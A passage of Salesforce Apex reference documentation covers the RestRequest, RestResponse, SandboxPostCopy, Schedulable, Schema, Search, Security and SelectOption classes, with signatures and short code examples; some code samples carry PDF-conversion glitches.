        String accountId = req.requestURI.substring(req.requestURI.lastIndexOf('/')+1);
        Account result = [SELECT Id, Name, Phone, Website FROM Account WHERE Id = :accountId];
    }
```
RestContext Properties
The following are properties for RestContext.

IN THIS SECTION:

request
Returns the RestRequest for your Apex REST method.

response
Returns the RestResponse for your Apex REST method.

**request**

Returns the RestRequest for your Apex REST method.

Signature

```
public RestRequest request {get; set;}
```

Property Value

Type: System.RestRequest

**response**

Returns the RestResponse for your Apex REST method.

Signature

```
public RestResponse response {get; set;}
```

Property Value

Type: System.RestResponse

**RestRequest Class**

Use the System.RestRequest class to access and pass request data in a RESTful Apex method.

**Namespace**

System
Usage

An Apex RESTful Web service method is defined using one of the REST annotations. For more information about Apex RESTful Web service, see Exposing Apex Classes as REST Web Services.

Example: An Apex Class with REST Annotated Methods

The following example shows you how to implement the Apex REST API in Apex. This class exposes three methods that each handle a different HTTP request: GET, DELETE, and POST. You can call these annotated methods from a client by issuing HTTP requests.

```java
@RestResource(urlMapping='/Account/*')
global with sharing class MyRestResource {

    @HttpDelete
    global static void doDelete() {
        RestRequest req = RestContext.request;
        RestResponse res = RestContext.response;
        String accountId = req.requestURI.substring(req.requestURI.lastIndexOf('/')+1);
        Account account = [SELECT Id FROM Account WHERE Id = :accountId];
        delete account;
    }

    @HttpGet
    global static Account doGet() {
        RestRequest req = RestContext.request;
        RestResponse res = RestContext.response;
        String accountId = req.requestURI.substring(req.requestURI.lastIndexOf('/')+1);
        Account result = [SELECT Id, Name, Phone, Website FROM Account WHERE Id = :accountId];
        return result;
    }

    @HttpPost
    global static String doPost(String name,
                                String phone, String website) {
        Account account = new Account();
        account.Name = name;
        account.phone = phone;
        account.website = website;
        insert account;
        return account.Id;
    }
}
```

IN THIS SECTION:

- RestRequest Constructors
- RestRequest Properties
- RestRequest Methods

RestRequest Constructors

The following are constructors for RestRequest.
IN THIS SECTION:

RestRequest()

Creates a new instance of the System.RestRequest class.

RestRequest()

Creates a new instance of the System.RestRequest class.

Signature

public RestRequest()

RestRequest Properties

The following are properties for RestRequest.

Note: While the RestRequest.List and Map properties are read-only, their contents are read-write. You can modify them by calling the collection methods directly or you can use of the associated RestRequest methods shown in the previous table.

IN THIS SECTION:

headers

Returns the headers that are received by the request.

httpMethod

Returns one of the supported HTTP request methods.

params

Returns the parameters that are received by the request.

remoteAddress

Returns the IP address of the client making the request.

requestBody

Returns or sets the body of the request.

requestURI

Returns or sets everything after the host in the HTTP request string.

resourcePath

Returns the REST resource path for the request.

headers

Returns the headers that are received by the request.

Signature

public Map<String, String> headers {get; set;}

Property Value

Type: Map<String, String>
**httpMethod**
Returns one of the supported HTTP request methods.

Signature
```
public String httpMethod {get; set;}
```

**Property Value**
- **Type**: String
- **Possible values returned**:
  - DELETE
  - GET
  - HEAD
  - PATCH
  - POST
  - PUT

**params**
Returns the parameters that are received by the request.

Signature
```
public Map<String, String> params {get; set;}
```

**Property Value**
- **Type**: Map<String, String>

**remoteAddress**
Returns the IP address of the client making the request.

Signature
```
public String remoteAddress {get; set;}
```

**Property Value**
- **Type**: String

**requestBody**
Returns or sets the body of the request.

Signature
```
public Blob requestBody {get; set;}
```
Property Value
Type: Blob

Usage
If the Apex method has no parameters, then Apex REST copies the HTTP request body into the `RestRequest.requestBody` property. If there are parameters, then Apex REST attempts to deserialize the data into those parameters and the data won't be deserialized into the `RestRequest.requestBody` property.

requestURI
Returns or sets everything after the host in the HTTP request string.

Signature
```
public String requestURI {get; set;}
```

Example
For example, if the request string is `https://instance.salesforce.com/services/apexrest/Account/` then the `requestURI` is `/Account/`.

resourcePath
Returns the REST resource path for the request.

Signature
```
public String resourcePath {get; set;}
```

Example
For example, if the Apex REST class defines a `urlMapping` of `/MyResource/*`, the `resourcePath` property returns
```
/services/apexrest/MyResource/*
```

RestRequest Methods
The following are methods for `RestRequest`. All are instance methods.

**Note:** At runtime, you typically don't need to add a header or parameter to the `RestRequest` object because they are automatically deserialized into the corresponding properties. The following methods are intended for unit testing Apex REST classes. You can use them to add header or parameter values to the `RestRequest` object without having to recreate the REST method call.
IN THIS SECTION:

addHeader(name, value)
 Adds a header to the request header map in an Apex test.
addParameter(name, value)
 Adds a parameter to the request params map in an Apex test.

addHeader(name, value)

Adds a header to the request header map in an Apex test.

Signature

public Void addHeader(String name, String value)

Parameters

name
 Type: String
value
 Type: String

Return Value

Type: Void

Usage

This method is intended for unit testing of Apex REST classes.

The following headers aren't allowed:

• cookie
• set-cookie
• set-cookie2
• content-length
• authorization

If any of these headers are used, an Apex exception is thrown.

addParameter(name, value)

Adds a parameter to the request params map in an Apex test.

Signature

public Void addParameter(String name, String value)
Parameters

- **name**
  - Type: String

- **value**
  - Type: String

Return Value

Type: Void

Usage

This method is intended for unit testing of Apex REST classes.

**RestResponse Class**

Represents an object used to pass data from an Apex RESTful Web service method to an HTTP response.

**Namespace**

*System*

**Usage**

Use the **System.RestResponse** class to pass response data from an Apex RESTful web service method that is defined using one of the **REST annotations** on page 105.

**IN THIS SECTION:**

- RestResponse Constructors
- RestResponse Properties
- RestResponse Methods

**RestResponse Constructors**

The following are constructors for **RestResponse**.

**IN THIS SECTION:**

- **RestResponse()**
  - Creates a new instance of the **System.RestResponse** class.

**RestResponse()**

Creates a new instance of the **System.RestResponse** class.

**Signature**

```java
public RestResponse()
```
RestResponse Properties

The following are properties for RestResponse.

Note: While the RestResponse List and Map properties are read-only, their contents are read-write. You can modify them by calling the collection methods directly or you can use of the associated RestResponse methods shown in the previous table.

IN THIS SECTION:
- responseBody
  Returns or sets the body of the response.
- headers
  Returns the headers to be sent to the response.
- statusCode
  Returns or sets the response status code.

**responseBody**

Returns or sets the body of the response.

Signature

```java
public Blob responseBody {get; set;}
```

Property Value

Type: Blob

Usage

The response is either the serialized form of the method return value or it's the value of the responseBody property based on the following rules:

- If the method returns void, then Apex REST returns the response in the responseBody property.
- If the method returns a value, then Apex REST serializes the return value as the response.

**headers**

Returns the headers to be sent to the response.

Signature

```java
public Map<String, String> headers {get; set;}
```

Property Value

Type: Map<String, String>
**statusCode**

Returns or sets the response status code.

**Signature**

```java
public Integer statusCode {get; set;}
```

**Property Value**

*Type: Integer*

**Status Codes**

The following are valid response status codes. The status code is returned by the `RestResponse.statusCode` property.

*Note:* If you set the `RestResponse.statusCode` property to a value that's not listed in the table, then an HTTP status of 500 is returned with the error message "Invalid status code for HTTP response: nnn" where nnn is the invalid status code value.

### RestResponse Methods

The following are instance methods for `RestResponse`.

**Note:** At runtime, you typically don’t need to add a header to the `RestResponse` object because it’s automatically deserialized into the corresponding properties. The following methods are intended for unit testing Apex REST classes. You can use them to add header or parameter values to the `RestRequest` object without having to recreate the REST method call.

**IN THIS SECTION:**

- `addHeader(name, value)`
  
  Adds a header to the response header map.

**addHeader(name, value)**

Adds a header to the response header map.

**Signature**

```java
public Void addHeader(String name, String value)
```

**Parameters**

- `name`
  
  Type: `String`

- `value`
  
  Type: `String`

**Return Value**

Type: Void

**Usage**

The following headers aren’t allowed:

- `cookie`
- `set-cookie`
- `set-cookie2`
content-length

authorization

If any of these headers are used, an Apex exception is thrown.

**SandboxPostCopy Interface**

To make your sandbox environment business ready, automate data manipulation or business logic tasks. Extend this interface and add methods to perform post-copy tasks, then specify the class during sandbox creation.

**Namespace**

`System`

**Usage**

Create an Apex class that implements this interface. Specify your class during sandbox creation. After your sandbox is created, the `runApexClass(context)` method in your class runs using the automated process user's permissions.

*Important:* The SandboxPostCopy Apex class is executed at the end of the sandbox copy using a special Automated Process user that isn’t visible within the org. This user doesn’t have access to all object and features; therefore, the Apex script cannot access all objects and features. If the script fails, run the script after sandbox activation as a user with appropriate permissions.

**IN THIS SECTION:**

- **SandboxPostCopy Methods**
  - **SandboxPostCopy Example Implementation**
    These examples show a simple implementation of the SandboxPostCopy interface and a test for that implementation. To test your SandboxPostCopy implementation, use the `System.Test.testSandboxPostCopyScript()` method.

**SEE ALSO:**

- `Tooling API: SandboxInfo`
- `Tooling API: SandboxInfo`

**SandboxPostCopy Methods**

The following method is for `SandboxPostCopy`.

**IN THIS SECTION:**

- `runApexClass(context)`
  - Executes actions in a new sandbox to prepare it for use. For example, add logic to this method to create users, run sanitizing code on records, and perform other setup tasks.

**runApexClass(context)**

Executes actions in a new sandbox to prepare it for use. For example, add logic to this method to create users, run sanitizing code on records, and perform other setup tasks.
Signature

```java
public void runApexClass(System.SandboxContext context)
```

Parameters

c\textit{context}

Type: System.SandboxContext

The org ID, sandbox ID, and sandbox name for your sandbox. To work with these values, reference 
\texttt{context.organizationId()}, \texttt{context.sandboxId()}, and \texttt{context.sandboxName()} in your code.

Return Value

Type: void

**SandboxPostCopy Example Implementation**

These examples show a simple implementation of the SandboxPostCopy interface and a test for that implementation. To test your SandboxPostCopy implementation, use the \texttt{System.Test.testSandboxPostCopyScript()} method.

⚠️ **Important:** The SandboxPostCopy Apex class is executed at the end of the sandbox copy using a special Automated Process user that isn't visible within the org. This user doesn't have access to all object and features; therefore, the Apex script cannot access all objects and features. If the script fails, run the script after sandbox activation as a user with appropriate permissions.

This is an example implementation of the \texttt{System.SandboxPostCopy} interface.

```java
global class PrepareMySandbox implements SandboxPostCopy {
    global void runApexClass(SandboxContext context) {
        System.debug('Org ID: ' + context.organizationId());
        System.debug('Sandbox ID: ' + context.sandboxId());
        System.debug('Sandbox Name: ' + context.sandboxName());

        // Insert logic here to prepare the sandbox for use.
    }
}
```

The following example tests the implementation using the \texttt{System.Test.testSandboxPostCopyScript()} method. This method takes four parameters: a reference to a class that implements the SandboxPostCopy interface, and the three fields on the context object that you pass to the \texttt{runApexClass(context)} method.

```java
@isTest
class PrepareMySandboxTest {

    @isTest
    static void testMySandboxPrep() {
        // Insert logic here to create records of the objects that the class you’re testing
        // manipulates.

        Test.startTest();

        Test.testSandboxPostCopyScript{
            new PrepareMySandbox(), UserInfo.getOrganizationId(),
            UserInfo.getOrganizationId(), UserInfo.getOrganizationName());
        }
}
```
Test.stopTest();

// Insert assert statements here to check that the records you created above have
// the values you expect.
}

For more information on testing, see Testing Apex.

**Schedulable Interface**

The class that implements this interface can be scheduled to run at different intervals.

**Namespace**

*System*

SEE ALSO:

Apex Scheduler

**Schedulable Methods**

The following are methods for *Schedulable*.

IN THIS SECTION:

*execute(context)*

Executes the scheduled Apex job.

**execute(context)**

Executes the scheduled Apex job.

**Signature**

```apex
public Void execute(SchedulableContext context)
```

**Parameters**

*context*

Type: *System.SchedulableContext*

Contains the job ID.

**Return Value**

Type: Void
SchedulableContext Interface

Represents the parameter type of a method in a class that implements the Schedulable interface and contains the scheduled job ID. This interface is implemented internally by Apex.

Namespace
System

SEE ALSO:
   Schedulable Interface

SchedulableContext Methods

The following are methods for SchedulableContext.

IN THIS SECTION:
   getTriggerId()
   Returns the ID of the CronTrigger scheduled job.

getTriggerId()

Returns the ID of the CronTrigger scheduled job.

Signature
public Id getTriggerId()

Return Value
Type: ID

Schema Class

Contains methods for obtaining schema describe information.

Namespace
System

Schema Methods

The following are methods for Schema. All methods are static.

IN THIS SECTION:
   getGlobalDescribe()
   Returns a map of all sObject names (keys) to sObject tokens (values) for the standard and custom objects defined in your organization.
describeDataCategoryGroups(sObjectNames)

Returns a list of the category groups associated with the specified objects.

describeSObjects(sObjectTypes)

Describes metadata (field list and object properties) for the specified sObject or array of sObjects.

describeSObjects(SObjectTypes, SObjectDescribeOptions)

Describes metadata such as field list and object properties for the specified list of SObjects. The default describe option for this method is SObjectDescribeOptions.DEFERRED, which indicates lazy initialization of describe attributes on first use.

describeTabs()

Returns information about the standard and custom apps available to the running user.

GroupStructures(pairs)

Returns available category groups along with their data category structure for objects specified in the request.

getGlobalDescribe()

Returns a map of all sObject names (keys) to sObject tokens (values) for the standard and custom objects defined in your organization.

Signature

public static Map<String, Schema.SObjectType> getGlobalDescribe()

Return Value

Type: Map<String, Schema.SObjectType>

Usage

For more information on accessing SObjects, see Accessing All sObjects.

Example

Map<String, Schema.SObjectType> gd = Schema.getGlobalDescribe();

describeDataCategoryGroups(sObjectNames)

Returns a list of the category groups associated with the specified objects.

Signature

public static List<Schema.DescribeDataCategoryGroupResult> describeDataCategoryGroups(List<String> sObjectNames)

Parameters

sObjectNames
  Type: List<String>
Return Value
Type: List<Schema.DescribeDataCategoryGroupResult>

Usage
You can specify one of the following sObject names:

- KnowledgeArticleVersion—to retrieve category groups associated with article types.
- Question—to retrieve category groups associated with questions.

For more information and code examples using describeDataCategoryGroups, see Accessing All Data Categories Associated with an sObject.

For additional information about articles and questions, see “Work with Articles and Translations” in the Salesforce online help.

describeSObjects(sObjectTypes)
Describes metadata (field list and object properties) for the specified sObject or array of sObjects.

Signature
public static List<Schema.DescribeSObjectResult> describeSObjects(List<String> sObjectTypes)

Parameters
sObjectTypes
Type: List<String>
The sObjectTypes argument is a list of sObject type names you want to describe.

Return Value
Type: List<Schema.DescribeSObjectResult>

Usage
This method is similar to the getDescribe method on the Schema.sObjectType token. Unlike the getDescribe method, this method allows you to specify the sObject type dynamically and describe more than one sObject at a time.

You can first call getGlobalDescribe to retrieve a list of all objects for your organization, then iterate through the list and use describeSObjects to obtain metadata about individual objects.

Example
```
Schema.DescribeSObjectResult[] descResult = Schema.describeSObjects(
    new String[]{"Account", "Contact"});
```

describeSObjects(SObjectTypes, SObjectDescribeOptions)
Describes metadata such as field list and object properties for the specified list of SObjects. The default describe option for this method is SObjectDescribeOptions.DEFERRED, which indicates lazy initialization of describe attributes on first use.
Signature

```java
public static List<Schema.DescribeSObjectResult> describeSObjects(List<String> SObjectTypes, Object SObjectDescribeOptions)
```

Parameters

- **SObjectTypes**
  Type: `List<String>`
  The list of SObject types to describe.

- **SObjectDescribeOptions**
  Type: `Object`
  The effective describe option used for the SObject.

Return Value

Type: `List<Schema.DescribeSObjectResult>`

**describeTabs()**

Returns information about the standard and custom apps available to the running user.

Signature

```java
public static List<Schema.DescribeTabSetResult> describeTabs()
```

Return Value

Type: `List<Schema.DescribeTabSetResult>`

Usage

An app is a group of tabs that works as a unit to provide application functionality. For example, two of the standard Salesforce apps are "Sales" and "Service."

The `describeTabs` method returns the minimum required metadata that can be used to render apps in another user interface. Typically, this call is used by partner applications to render Salesforce data in another user interface, such as in a mobile or connected app.

In the Salesforce user interface, users have access to standard apps (and might also have access to custom apps) as listed in the Salesforce app menu at the top of the page. Selecting an app name in the menu allows the user to switch between the listed apps at any time.

**Note:** The "All Tabs" tab isn’t included in the list of described tabs.

Example

This example shows how to call the `describeTabs` method.

```java
Schema.DescribeTabSetResult[] tabSetDesc = Schema.describeTabs();
```
This is a longer example that shows how to obtain describe metadata information for the Sales app. For each tab, the example gets
describe information, such as the icon URL, whether the tab is custom or not, and colors. The describe information is written to the
debug output.

```plaintext
// Get tab set describes for each app
List<Schema.DescribeTabSetResult> tabSetDesc = Schema.describeTabs();

// Iterate through each tab set describe for each app and display the info
for(DescribeTabSetResult tsr : tabSetDesc) {
    String appLabel = tsr.getLabel();
    System.debug('Label: ' + appLabel);
    System.debug('Logo URL: ' + tsr.getLogoUrl());
    System.debug('isSelected: ' + tsr.isSelected());
    String ns = tsr.getNamespace();
    if (ns == '') {
        System.debug('The ' + appLabel + ' app has no namespace defined.');
    } else {
        System.debug('Namespace: ' + ns);
    }

    // Display tab info for the Sales app
    if (appLabel == 'Sales') {
        List<Schema.DescribeTabResult> tabDesc = tsr.getTabs();
        System.debug('-- Tab information for the Sales app --');
        for(Schema.DescribeTabResult tr : tabDesc) {
            System.debug('getLabel: ' + tr.getLabel());
            System.debug('getColors: ' + tr.getColors());
            System.debug('getIconUrl: ' + tr.getIconUrl());
            System.debug('getIcons: ' + tr.getIcons());
            System.debug('getMiniIconUrl: ' + tr.getMiniIconUrl());
            System.debug('getSobjectName: ' + tr.getSobjectName());
            System.debug('getUrl: ' + tr.getUrl());
            System.debug('isCustom: ' + tr.isCustom());
        }
    }
}
```

// Example debug statement output
// DEBUG|Label: Sales
// DEBUG|Logo URL: https://yourInstance.salesforce.com/img/seasonLogos/2014_winter_aloha.png
// DEBUG|isSelected: true
// DEBUG|The Sales app has no namespace defined.// DEBUG|-- Tab information for the Sales app --
// (This is an example debug output for the Accounts tab.)
// DEBUG|getLabel: Accounts
// DEBUG|getColors:
// Schema.DescribeColorResult[getColor=236FBD;getContext=primary;getTheme=theme4;],
// Schema.DescribeColorResult[getColor=236FBD;getContext=primary;getTheme=theme3;],
// Schema.DescribeColorResult[getColor=236FBD;getContext=primary;getTheme=theme2;]
// DEBUG|getIconUrl: https://yourInstance.salesforce.com/img/icon/accounts32.png
// DEBUG|getIcons:
// (Schema.DescribeIconResult[getContentType=image/png;getHeight=32;getTheme=theme3;...])
```
GroupStructures (pairs)

Returns available category groups along with their data category structure for objects specified in the request.

Signature

public static List<Schema.DescribeDataCategoryGroupStructureResult> describeDataCategoryGroupStructures(List<Schema.DataCategoryGroupSobjectTypePair> pairs)

Parameters

pairs
Type: List<Schema.DataCategoryGroupSobjectTypePair>

The pairs argument is one or more category groups and objects to query Schema.DataCategoryGroupSobjectTypePairs. Visible data categories are retrieved for the specified object. For more information on data category group visibility, see “Data Category Visibility” in the Salesforce online help.

Return Value

Type: List<Schema.DescribeDataCategoryGroupStructureResult>

Search Class

Use the methods of the Search class to perform dynamic SOSL queries.

Namespace

System

Search Methods

The following are static methods for Search.

IN THIS SECTION:

find(searchQuery)
Performs a dynamic SOSL query that can include the SOSL WITH SNIPPET clause. Snippets provide more context for users in Salesforce Knowledge article search results.

query(query)
Performs a dynamic SOSL query.
suggest(searchQuery, sObjectType, suggestions)
Returns a list of records or Salesforce Knowledge articles whose names or titles match the user’s search query string. Use this method to provide users with shortcuts to navigate to relevant records or articles before they perform a search.

find(searchQuery)
Performs a dynamic SOSL query that can include the SOSL WITH SNIPPET clause. Snippets provide more context for users in Salesforce Knowledge article search results.

Signature
public static Search.SearchResults find(String searchQuery)

Parameters
searchQuery
Type: String
A SOSL query string.

Return Value
Type: Search.SearchResults

Usage
Use this method wherever a static SOSL query can be used, such as in regular assignment statements and for loops.
See Use Dynamic SOSL to Return Snippets on page 192.

SEE ALSO:
get(sObjectType)
Dynamic SOSL

query(query)
Performs a dynamic SOSL query.

Signature
public static sObject[sObject[]] query(String query)

Parameters
query
Type: String
A SOSL query string.

To create a SOSL query that includes the WITH SNIPPET clause, use the Search.find(String searchQuery) method instead.
suggest(searchQuery, sObjectType, suggestions)

Returns a list of records or Salesforce Knowledge articles whose names or titles match the user’s search query string. Use this method to provide users with shortcuts to navigate to relevant records or articles before they perform a search.

Signature

public static Search.SuggestionResults suggest(String searchQuery, String sObjectType, Search.SuggestionOption suggestions)

Parameters

searchQuery
Type: String
A SOSL query string.

sObjectType
Type: String
An sObject type.

options
Type: Search.SuggestionOption
This object contains options that change the suggestion results.
If the searchQuery returns KnowledgeArticleVersion objects, pass an options parameter with a Search.SuggestionOption object that contains a language KnowledgeSuggestionFilter and a publish status KnowledgeSuggestionFilter.
For suggestions for all other record types, the only supported option is a limit, which sets the maximum number of suggestions returned.

Return Value
Type: SuggestionResults

Usage

Use this method to return:

Suggestions for Salesforce Knowledge articles (KnowledgeArticleVersion)
Salesforce Knowledge must be enabled in your organization. The user must have the “View Articles” permission enabled.
The articles suggested include only the articles the user can access, based on the data categories and article types the user has permissions to view.
Suggestions for other record types

The records suggested include only the records the user can access. This method returns a record if its name field starts with the text in the search string. This method automatically appends an asterisk wildcard (*) at the end of the search string. Records that contain the search string within a word aren’t considered a match.

Records are suggested if the entire search string is found in the record name, in the same order as specified in the search string. For example, the text string national u is treated as national u* and returns “National Utility” and “National Urban Company” but not “National Company Utility” or “Urban National Company”.

Note: If the user’s search query contains quotation marks or wildcards, those symbols are automatically removed from the query string in the URI.

SEE ALSO:
Suggest Salesforce Knowledge Articles

Security Class
Contains methods to securely implement Apex applications.

Namespace
System

Usage
In the context of the current user’s create, read, update, or upsert access permission, use the Security class methods to:

• Strip fields that aren’t visible from query and subquery results
• Remove inaccessible fields before a DML operation without causing an exception
• Sanitize SObjects that have been deserialized from an untrusted source

IN THIS SECTION:
Security Methods

Security Methods
The following are methods for Security.

IN THIS SECTION:

stripInaccessible(accessCheckType, sourceRecords, enforceRootObjectCRUD)
Creates a list of sObjects from the source records, which are stripped of fields that fail the field-level security checks for the current user. The method also provides an option to enforce an object-level access check.

stripInaccessible(accessCheckType, sourceRecords) Creates a list of sObjects from the source records, which are stripped of fields that fail the field-level security checks for the current user.
stripInaccessible(accessCheckType, sourceRecords, enforceRootObjectCRUD)

Creates a list of sObjects from the source records, which are stripped of fields that fail the field-level security checks for the current user. The method also provides an option to enforce an object-level access check.

Signature

public static System.SObjectAccessDecision stripInaccessible(System.AccessType accessCheckType, List<SObject> sourceRecords, Boolean enforceRootObjectCRUD)

Parameters

accessCheckType
Type: System.AccessType

Uses values from the AccessType enum. This parameter determines the type of field-level access check to be performed. To check the current user's field-level access, use the Schema.DescribeFieldResult methods —isCreatable(), isAccessible(), or isUpdatable().

sourceRecords
Type: List<SObject>

A list of sObjects to be checked for fields that aren't accessible in the context of the current user's operation.

enforceRootObjectCRUD
Type: Boolean

Indicates whether an object-level access check is performed. If this parameter is set to true and the access check fails, the method throws an exception. The default value of this optional parameter is true.

Return Value

Type: System.SObjectAccessDecision

Example

In this example, the user doesn’t have permission to create the Probability field of an Opportunity.

List<Opportunity> opportunities = new List<Opportunity>
    {
        new Opportunity(Name='Opportunity1'),
        new Opportunity(Name='Opportunity2', Probability=95)
    };

// Strip fields that are not creatable
SObjectAccessDecision decision = Security.stripInaccessible(
    AccessType.CREATABLE,
    opportunities);

// Print stripped records
for (SObject strippedOpportunity : decision.getRecords())
    {
        System.debug(strippedOpportunity);
    }

// Print modified indexes
System.debug(decision.getModifiedIndexes());
stripInaccessible(accessCheckType, sourceRecords)

Creates a list of sObjects from the source records, which are stripped of fields that fail the field-level security checks for the current user.

Signature

```java
public static System.SObjectAccessDecision stripInaccessible(System.AccessType accessCheckType, List<SObject> sourceRecords)
```

Parameters

- **accessCheckType**
  - Type: System.AccessType
  - Uses values from the AccessType enum. This parameter determines the type of field-level access check to be performed. To check the current user's field-level access, use the Schema.DescribeFieldResult methods — isCreatable(), isAccessible(), or isUpdatable().

- **sourceRecords**
  - Type: List<SObject>
  - A list of sObjects to be checked for fields that aren't accessible in the context of the current user's operation.

Return Value

Type: System.SObjectAccessDecision

Example

In this example, the user doesn't have permission to read the ActualCost field of a Campaign.

```java
List<Campaign> campaigns = new List<Campaign>{
    new Campaign(Name='Campaign1', BudgetedCost=1000, ActualCost=2000),
    new Campaign(Name='Campaign2', BudgetedCost=4000, ActualCost=1500)
};
insert campaigns;

// Strip fields that are not readable
SObjectAccessDecision decision = Security.stripInaccessible(
    AccessType.READABLE,
    [SELECT Name, BudgetedCost, ActualCost from Campaign]);

// Print stripped records
for (SObject strippedCampaign : decision.getRecords()) {
    System.debug(strippedCampaign); // Does not display ActualCost
```
// Print modified indexes
System.debug(decision.getModifiedIndexes());

// Print removed fields
System.debug(decision.getRemovedFields());

// Lines from output log
//|DEBUG|Campaign:{Name=Campaign1, BudgetedCost=1000, Id=701xx0000011nhAAA}
//|DEBUG|Campaign:{Name=Campaign2, BudgetedCost=4000, Id=701xx0000011niAAA}
//|DEBUG|{0, 1}
//|DEBUG|{Campaign={ActualCost}}

### SelectOption Class

A SelectOption object specifies one of the possible values for a Visualforce `selectCheckboxes`, `selectList`, or `selectRadio` component.

#### Namespace

**System**

SelectOption consists of a label that is displayed to the end user, and a value that is returned to the controller if the option is selected. A SelectOption can also be displayed in a disabled state, so that a user cannot select it as an option, but can still view it.

#### Instantiation

In a custom controller or controller extension, you can instantiate a SelectOption in one of the following ways:

- `SelectOption option = new SelectOption(value, label, isDisabled);`

  where `value` is the String that is returned to the controller if the option is selected by a user, `label` is the String that is displayed to the user as the option choice, and `isDisabled` is a Boolean that, if true, specifies that the user cannot select the option, but can still view it.

- `SelectOption option = new SelectOption(value, label);`

  where `value` is the String that is returned to the controller if the option is selected by a user, and `label` is the String that is displayed to the user as the option choice. Because a value for `isDisabled` is not specified, the user can both view and select the option.

#### Example

The following example shows how a list of SelectOptions objects can be used to provide possible values for a `selectCheckboxes` component on a Visualforce page. In the following custom controller, the `getItems` method defines and returns the list of possible SelectOption objects:

```java
public class sampleCon {
    String[] countries = new String[]{};
}
```
public PageReference test() {
    return null;
}

general List<SelectOption> getItems() {
    List<SelectOption> options = new List<SelectOption>();
    options.add(new SelectOption('US', 'US'));
    options.add(new SelectOption('CANADA', 'Canada'));
    options.add(new SelectOption('MEXICO', 'Mexico'));
    return options;
}

general String[] get_countries() {
    return countries;
}

general void set_countries(String[] countries) {
    this.countries = countries;
}

In the following page markup, the <apex:selectOptions> tag uses the getItems method from the controller above to retrieve the list of possible values. Because <apex:selectOptions> is a child of the <apex:selectCheckboxes> tag, the options are displayed as checkboxes:

```xml
<apex:page controller="sampleCon">
<apex:form>
    <apex:selectCheckboxes value="{!countries}"/><apex:selectOptions value="{!items}"/>
    <apex:commandButton value="Test" action="{!test}" rerender="out" status="status"/>
</apex:form>
<apex:outputPanel id="out">
    <apex:actionstatus id="status" startText="testing...">
        <apex:facet name="stop">
            <p>You have selected:</p>
            <apex:dataList value="{!countries}" var="c">{!c}</apex:dataList>
        </apex:facet>
    </apex:actionstatus>
</apex:outputPanel>
</apex:page>
```

IN THIS SECTION:

- SelectOption Constructors
- SelectOption Methods

SelectOption Constructors

The following are constructors for SelectOption.
IN THIS SECTION:

SelectOption(value, label)
Creates a new instance of the SelectOption class using the specified value and label.

SelectOption(value, label, isDisabled)
Creates a new instance of the SelectOption class using the specified value, label, and disabled setting.

SelectOption(value, label)
Creates a new instance of the SelectOption class using the specified value and label.

Signature

public SelectOption(String value, String label)

Parameters

value
Type: String
The string that is returned to the Visualforce controller if the option is selected by a user.

label
Type: String
The string that is displayed to the user as the option choice.

SelectOption(value, label, isDisabled)
Creates a new instance of the SelectOption class using the specified value, label, and disabled setting.

Signature

public SelectOption(String value, String label, Boolean isDisabled)

Parameters

value
Type: String
The string that is returned to the Visualforce controller if the option is selected by a user.

label
Type: String
The string that is displayed to the user as the option choice.

isDisabled
Type: Boolean
If set to true, the option can’t be selected by the user but can still be viewed.

SelectOption Methods
The following are methods for SelectOption. All are instance methods.
IN THIS SECTION:

getDisabled()
Returns the current value of the SelectOption object’s isDisabled attribute.

getEscapeItem()
Returns the current value of the SelectOption object’s itemEscaped attribute.

getLabel()
Returns the option label that is displayed to the user.

getValue()
Returns the option value that is returned to the controller if a user selects the option.

setDisabled(isDisabled)
Sets the value of the SelectOption object’s isDisabled attribute.

setEscapeItem(itemsEscaped)
Sets the value of the SelectOption object’s itemEscaped attribute.

setLabel(label)
Sets the value of the option label that is displayed to the user.

setValue(value)
Sets the value of the option value that is returned to the controller if a user selects the option.

**getDisabled()**

Returns the current value of the SelectOption object’s isDisabled attribute.

**Signature**

`public Boolean getDisabled()`

**Return Value**

**Type:** Boolean

**Usage**

If `isDisabled` is set to `true`, the user can view the option, but cannot select it. If `isDisabled` is set to `false`, the user can both view and select the option.

**getEscapeItem()**

Returns the current value of the SelectOption object’s itemEscaped attribute.

**Signature**

`public Boolean getEscapeItem()`

**Return Value**

**Type:** Boolean
Usage
If `itemEscaped` is set to `true`, sensitive HTML and XML characters are escaped in the HTML output generated by this component. If `itemEscaped` is set to `false`, items are rendered as written.

getLabel()
Returns the option label that is displayed to the user.

Signature
```
public String getLabel()
```

Return Value
Type: `String`

getValue()
Returns the option value that is returned to the controller if a user selects the option.

Signature
```
public String getValue()
```

Return Value
Type: `String`

setDisabled(isDisabled)
Sets the value of the SelectOption object's `isDisabled` attribute.

Signature
```
public Void setDisabled(Boolean isDisabled)
```

Parameters
`isDisabled`
Type: `Boolean`

Return Value
Type: `Void`

Usage
If `isDisabled` is set to `true`, the user can view the option, but cannot select it. If `isDisabled` is set to `false`, the user can both view and select the option.
**setEscapeItem(itemsEscaped)**
Sets the value of the SelectList option's `itemEscaped` attribute.

**Signature**
```java
public Void setEscapeItem(Boolean itemsEscaped)
```

**Parameters**
- `itemsEscaped`
  - Type: Boolean

**Return Value**
Type: Void

**Usage**
If `itemEscaped` is set to `true`, sensitive HTML and XML characters are escaped in the HTML output generated by this component. If `itemEscaped` is set to `false`, items are rendered as written.

**setLabel(label)**
Sets the value of the option label that is displayed to the user.

**Signature**
```java
public Void setLabel(String label)
```

**Parameters**
- `label`
  - Type: String

**Return Value**
Type: Void

**setValue(value)**
Sets the value of the option value that is returned to the controller if a user selects the option.

**Signature**
```java
public Void setValue(String value)
```

**Parameters**
- `value`
  - Type: String
Return Value
Type: Void

**Set Class**

Represents a collection of unique elements with no duplicate values.

**Namespace**

*System*

**Usage**

The Set methods work on a set, that is, an unordered collection of elements that was initialized using the `set` keyword. Set elements can be of any data type—primitive types, collections, sObjects, user-defined types, and built-in Apex types. Set methods are all instance methods, that is, they all operate on a particular instance of a Set. The following are the instance methods for sets.

**Note:**

- Uniqueness of set elements of user-defined types is determined by the `equals` and `hashCode` methods, which you provide in your classes. Uniqueness of all other non-primitive types is determined by comparing the objects’ fields.
- If the set contains String elements, the elements are case-sensitive. Two set elements that differ only by case are considered distinct.

For more information on sets, see *Sets* on page 32.

**IN THIS SECTION:**

- Set Constructors
- Set Methods

**Set Constructors**

The following are constructors for `Set`.

**IN THIS SECTION:**

- `Set<T>()`
  
  Creates a new instance of the `Set` class. A set can hold elements of any data type `T`.

- `Set<T>(setToCopy)`
  
  Creates a new instance of the `Set` class by copying the elements of the specified set. `T` is the data type of the elements in both sets and can be any data type.

- `Set<T>(listToCopy)`
  
  Creates a new instance of the `Set` class by coping the list elements. `T` is the data type of the elements in the set and list and can be any data type.

- `Set<T>()`
  
